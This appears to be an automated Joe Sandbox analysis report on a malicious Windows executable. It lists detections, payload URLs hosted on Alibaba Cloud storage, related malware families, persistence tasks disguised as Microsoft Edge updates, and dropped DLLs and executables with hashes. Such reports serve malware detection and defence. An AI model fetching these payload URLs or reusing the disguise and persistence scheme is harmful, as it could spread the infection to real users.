C:\Program Files (x86)\SibbEG\tbcore3U.dll	100%	Avira	TR/Redcap.vdzex
C:\Program Files (x86)\k65O7cr6i\tbcore3U.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\SibbEG\tbcore3U.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\SibbEG\tbcore3U.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\SibbEG\SibbEG.exe	0%	ReversingLabs
C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	0%	ReversingLabs
C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	0%	ReversingLabs
C:\Users\user\Documents\ocGsp4.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gif	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/i.dat	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/BM	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/jM	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/b.gif	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/A	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpghttps://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/b.gifF	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifhttps://vien3h.oss-cn-beijing.aliyuncs.com/b.gifhttp	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifXM	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/b.gifD	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/c.gif	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/s.dat	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/s.jpg	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/TM	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/d.gif	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/Mig	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/LM5g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	118.178.60.9	true	false	high
sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	39.103.20.17	true	false	unknown
gnkygm.net	unknown	unknown	false	unknown
vien3h.oss-cn-beijing.aliyuncs.com	unknown	unknown	false	unknown
22mm.oss-cn-hangzhou.aliyuncs.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-53.jpg	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gif	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/b.gif	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/i.dat	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/s.dat	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpg	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/c.gif	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg	false		high
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-52.jpg	false		high
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51.jpg	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/d.gif	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/s.jpg	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.dat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpghttps://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51	ocGsp4.exe, 00000005.00000003.2182955898.0000000003DF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.beyondtrust.com/0	153776434-874356550.05.exe	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/A	153776434-874356550.05.exe, 00000000.00000003.1854393730.000000000058C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/jM	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifhttps://vien3h.oss-cn-beijing.aliyuncs.com/b.gifhttp	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	ocGsp4.exe.0.dr, 189atohci.sys.0.dr	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, 153776434-874356550.05.exe, 00000000.00000003.1854393730.000000000058C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	153776434-874356550.05.exe, ocGsp4.exe.0.dr	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/b.gifF	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/BM	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifXM	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/b.gifD	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	ocGsp4.exe.0.dr, 189atohci.sys.0.dr	false		high
http://www.symauth.com/rpa00	153776434-874356550.05.exe, ocGsp4.exe.0.dr	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/Mig	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/TM	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/LM5g	153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
39.103.20.17	sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
118.178.60.9	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
8.210.209.78	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592389
Start date and time:	2025-01-16 03:53:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	153776434-874356550.05.exe
Detection:	MAL
Classification:	mal100.rans.evad.winEXE@70/39@35/3
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 89% Number of executed functions: 20 Number of non-executed functions: 121
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target U5Mb5c.exe, PID 2416 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:54:35	Task Scheduler	Run new task: ewaui path: C:\Users\user\Documents\ocGsp4.exe
02:55:20	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskUA Task-S-1-5-18 dzU0y path: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
02:55:20	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskUA Task-S-1-5-18 G7JZD path: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe
21:54:06	API Interceptor	3x Sleep call for process: 153776434-874356550.05.exe modified
21:55:16	API Interceptor	16266x Sleep call for process: ocGsp4.exe modified
21:55:18	API Interceptor	92273x Sleep call for process: U5Mb5c.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
39.103.20.17	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse
118.178.60.9	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse
	149876985-734579485.05.exe	Get hash	malicious	Nitol	Browse
	13478674376-78423498.01.exe	Get hash	malicious	Unknown	Browse
	1387457-38765948.15.exe	Get hash	malicious	Nitol	Browse
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse
	2362476847-83854387.07.exe	Get hash	malicious	Nitol	Browse
8.210.209.78	149876985-734579485.05.exe	Get hash	malicious	Nitol	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse	39.103.20.17
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse	39.103.20.17
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	39.103.20.17
sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	149876985-734579485.05.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	149876985-734579485.05.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	13478674376-78423498.01.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	1387457-38765948.15.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse	118.178.60.9
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	118.178.60.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	q4e7rZQEkL.dll	Get hash	malicious	Wannacry	Browse	47.235.125.1
	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse	8.217.35.253
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse	8.217.59.222
	http://tretiktok.com/	Get hash	malicious	Unknown	Browse	47.91.24.166
	https://teiegtrm.cc/EN/	Get hash	malicious	Telegram Phisher	Browse	47.251.1.68
	https://teiegtrm.cc/apps.html	Get hash	malicious	Telegram Phisher	Browse	47.251.1.68
	https://teiegroj.cc/ZH/	Get hash	malicious	Telegram Phisher	Browse	47.89.192.18
	https://teiegroj.cc/apps.html	Get hash	malicious	Telegram Phisher	Browse	47.89.192.18
	https://teiegrvu.cc/VN/	Get hash	malicious	Telegram Phisher	Browse	198.11.177.38
	i686.elf	Get hash	malicious	Unknown	Browse	8.208.25.56
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	chromsetup.exe	Get hash	malicious	Unknown	Browse	47.92.164.165
	ET6LdJaK54.dll	Get hash	malicious	Wannacry	Browse	121.43.141.1
	GeW4GzT8G8.dll	Get hash	malicious	Virut, Wannacry	Browse	8.188.251.4
	bot.x86.elf	Get hash	malicious	Unknown	Browse	8.182.167.42
	bot.spc.elf	Get hash	malicious	Unknown	Browse	106.14.214.150
	bot.arm5.elf	Get hash	malicious	Unknown	Browse	47.92.204.241
	bot.sh4.elf	Get hash	malicious	Unknown	Browse	8.186.115.128
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	139.247.78.81
	Qj9gUbJBkY.dll	Get hash	malicious	Wannacry	Browse	101.133.154.1
	x86_64.elf	Get hash	malicious	Mirai	Browse	182.92.142.6
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	chromsetup.exe	Get hash	malicious	Unknown	Browse	47.92.164.165
	ET6LdJaK54.dll	Get hash	malicious	Wannacry	Browse	121.43.141.1
	GeW4GzT8G8.dll	Get hash	malicious	Virut, Wannacry	Browse	8.188.251.4
	bot.x86.elf	Get hash	malicious	Unknown	Browse	8.182.167.42
	bot.spc.elf	Get hash	malicious	Unknown	Browse	106.14.214.150
	bot.arm5.elf	Get hash	malicious	Unknown	Browse	47.92.204.241
	bot.sh4.elf	Get hash	malicious	Unknown	Browse	8.186.115.128
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	139.247.78.81
	Qj9gUbJBkY.dll	Get hash	malicious	Wannacry	Browse	101.133.154.1
	x86_64.elf	Get hash	malicious	Mirai	Browse	182.92.142.6

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	download.bin.exe	Get hash	malicious	Njrat, XRed	Browse	39.103.20.17 118.178.60.9
	Handler.exe	Get hash	malicious	DanaBot, PureLog Stealer, Vidar	Browse	39.103.20.17 118.178.60.9
	BNXCXCJSD.jse	Get hash	malicious	MassLogger RAT	Browse	39.103.20.17 118.178.60.9
	setup.msi	Get hash	malicious	Unknown	Browse	39.103.20.17 118.178.60.9
	00.ps1	Get hash	malicious	PureCrypter, LummaC, LummaC Stealer	Browse	39.103.20.17 118.178.60.9
	00.ps1	Get hash	malicious	PureCrypter, LummaC, LummaC Stealer	Browse	39.103.20.17 118.178.60.9
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	39.103.20.17 118.178.60.9
	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse	39.103.20.17 118.178.60.9
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse	39.103.20.17 118.178.60.9

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\SibbEG\SibbEG.exe	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse
	149876985-734579485.05.exe	Get hash	malicious	Nitol	Browse
	13478674376-78423498.01.exe	Get hash	malicious	Unknown	Browse
	1387457-38765948.15.exe	Get hash	malicious	Nitol	Browse
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse
	2362476847-83854387.07.exe	Get hash	malicious	Nitol	Browse

Created / dropped Files

C:\Program Files (x86)\SibbEG\SibbEG.exe

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	54152
Entropy (8bit):	6.64786972992462
Encrypted:	false
SSDEEP:	768:jE8w9LlgD9z/4vt+aEjzaXEjoN6Fdv9SqJvwjgCb2VIIL/o/rw3J:jE3LKDZjaEjza0jJRJviN21ME3J
MD5:	7B6586E21FBC8F2F0BB784A1A8FC65B4
SHA1:	E33722B4790B3C83B6F180E57D1B6BEBBC6153CB
SHA-256:	7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722
SHA-512:	E2B4B8F5379D3ADBB5280D1C77C2AA7F5A7212173231576BAC6D7A26109B88BC5CB377CF9D879E7BE2E36CE860C9BCDA7769A22EED5ED63797F70534C6CDDA4C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 138745635-72645747.116.exe, Detection: malicious, Browse Filename: 2834573-3676874985.02.exe, Detection: malicious, Browse Filename: 183643586-388657435.07.exe, Detection: malicious, Browse Filename: 149876985-734579485.05.exe, Detection: malicious, Browse Filename: 13478674376-78423498.01.exe, Detection: malicious, Browse Filename: 1387457-38765948.15.exe, Detection: malicious, Browse Filename: 2976587-987347589.07.exe, Detection: malicious, Browse Filename: 2976587-987347589.08.exe, Detection: malicious, Browse Filename: 2873466535874-68348745.02.exe, Detection: malicious, Browse Filename: 2362476847-83854387.07.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........%U..vU..vU..vK.pvL..vK.avE..vK.wv...v\.gv\..vU..v...vK.~vW..vK.`vT..vK.evT..vRichU..v........PE..L....B.O.................b...@....................@..................................g....@.....................................d.......\................-..........P...............................0...@............................................text....a.......b.................. ..`.rdata...............f..............@..@.data...............................@....rsrc...\...........................@..@.reloc..`...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\SibbEG\log.src

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5059989
Entropy (8bit):	7.999955230181879
Encrypted:	true
SSDEEP:	98304:oOQ8oQBU091MWehE/7o29Mtr9vBGTrBkm638mgfttxtoSrHCYE7GUcOc2s:Po6T1MFhE/7qJwBP6TWtttriYE7kjv
MD5:	2DDA21B6EB771198F05E31FD046F247A
SHA1:	56DC10AE8607E125E585C6CE6AD0CC9A043DDC44
SHA-256:	D1577FB206240205B54280AD4E550A01965C506DAEC7B1C3C8ED75E84B4FCB54
SHA-512:	2EA6746C97E6839FB2F6BFB08C17A5F4069EE3275C1C878F369A4D9E736F0FA2C3079751ADE359D21BB09C1C6F0BD70864D20F564BE7A47DE31DB2B78C36D8C7
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Program Files (x86)\SibbEG\tbcore3U.dll

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4858192
Entropy (8bit):	7.992517222335685
Encrypted:	true
SSDEEP:	98304:9RK1dm+O6P0DvHI/Tvyegz2UrrrjRyBEXp0/aeuZmQQLFXfoGku+i17/5:9S4+O6P5OeMRrjRy7aPZbm3k8V/5
MD5:	AF6774F9FB04124DDA0424A6FC4403F8
SHA1:	EE4C29283C1BC9C57303C6CBF149B3389724CE22
SHA-256:	018D0FE0AA945A13285967EFF29F50B9C2180D554D92E39802B3DC9658E7F755
SHA-512:	671F5E7286BDE84E3F7AEA6616E07BE792D098E373AC0E22A0A7FD294B0372A1C7CE13092C32FE13584E8B6A1C5E3A0A85710D4DBF3A7E49D89FC77E76B9EED0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~..f...........!...'.,..........D)D......@................................s...........@...........................3.R.....D.P....ps...............I.(K...Ps......................................Ks.@.............).,............................text...s+.......................... ..`.rdata...n...@......................@..@.data...............................@....%?.....O.'......................... ..`.%-[....\|.....).....................@....mo:....P.I...)...I................. ..`.reloc.......Ps.......I.............@..@.rsrc........ps.......I.............@..@................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\SibbEG\utils.vcxproj

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	365477
Entropy (8bit):	7.999399962217636
Encrypted:	true
SSDEEP:	6144:OiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnKqW7mbZ:B8u69CghoQxoMTFQqtKFCG7mbZ
MD5:	93E7B1257CA9DCD12E2B61546D29C5CD
SHA1:	D59CE7C052AF0F1CCA051DE1265775549ABFB7CB
SHA-256:	6E2F94707A0092FD7D617F610AF5BACB4AEA7C66E741FCC1ECDDBC1A8884B8E3
SHA-512:	FE6D462F559FD433B425A6717D6580378B1BC32113DDEF49ACA644DA0AD85168EE477CBD5A50676131C92D2BAE02862853E99910CDCFA7F037CFBA4AD868CFBD
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A...a."q.2....#B...R..$3br........%&'()456789:CDEF8.210.209.78....."ijstuvwxyz....gnkygm.net......3#..............209.78....................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	54152
Entropy (8bit):	6.64786972992462
Encrypted:	false
SSDEEP:	768:jE8w9LlgD9z/4vt+aEjzaXEjoN6Fdv9SqJvwjgCb2VIIL/o/rw3J:jE3LKDZjaEjza0jJRJviN21ME3J
MD5:	7B6586E21FBC8F2F0BB784A1A8FC65B4
SHA1:	E33722B4790B3C83B6F180E57D1B6BEBBC6153CB
SHA-256:	7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722
SHA-512:	E2B4B8F5379D3ADBB5280D1C77C2AA7F5A7212173231576BAC6D7A26109B88BC5CB377CF9D879E7BE2E36CE860C9BCDA7769A22EED5ED63797F70534C6CDDA4C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........%U..vU..vU..vK.pvL..vK.avE..vK.wv...v\.gv\..vU..v...vK.~vW..vK.`vT..vK.evT..vRichU..v........PE..L....B.O.................b...@....................@..................................g....@.....................................d.......\................-..........P...............................0...@............................................text....a.......b.................. ..`.rdata...............f..............@..@.data...............................@....rsrc...\...........................@..@.reloc..`...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\U5Mb5c\log.src

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5059989
Entropy (8bit):	7.999955224002515
Encrypted:	true
SSDEEP:	98304:tOQ8oQBU091MWehE/7o29Mtr9vBGTrBkm638mgfttxtoSrHCYE7GUcOc2s:co6T1MFhE/7qJwBP6TWtttriYE7kjv
MD5:	B4B4022DB717D5407C6D9472DA15C317
SHA1:	7EAFA20EF9F3E7117360C160860BDD843A8B0967
SHA-256:	7B876C276E1CF5B9BB2C9664E80956D7F9E7A0A416E32D67EF8075DA07A1F933
SHA-512:	BA3828F894873342181E6F6932AF79FE4FD9D849BFBA4719659A959130A61CEB727A8819A4C4CAE3AFEFB1CDEC02705971F651864F486A2E790E07437710D759
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Program Files (x86)\U5Mb5c\tbcore3U.dll

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4858192
Entropy (8bit):	7.992517260945737
Encrypted:	true
SSDEEP:	98304:9RK1dm+O6P0DvHI/Tvyegz2UrrrjRyBEXp0/aeuZmQQLFXfoGku+i17/T:9S4+O6P5OeMRrjRy7aPZbm3k8V/T
MD5:	D896E6EE8844C42C6DA33F1CADE55C41
SHA1:	42CC81579C6A7D16C51C543A5AAE63CBC764938D
SHA-256:	F6A29E5B8B8D1B296699C232F2665A8463455E4B0BE835D106FFDABF877E62FC
SHA-512:	D9E73F22CB5EE3B707EE6321F4C4453F96EC23EF71774079D10B21EF44CB5DAB06EA26C40B07F0BF8472237179CE0F669333B5A7ADF76EFC06AB81877A6486E0
Malicious:	true
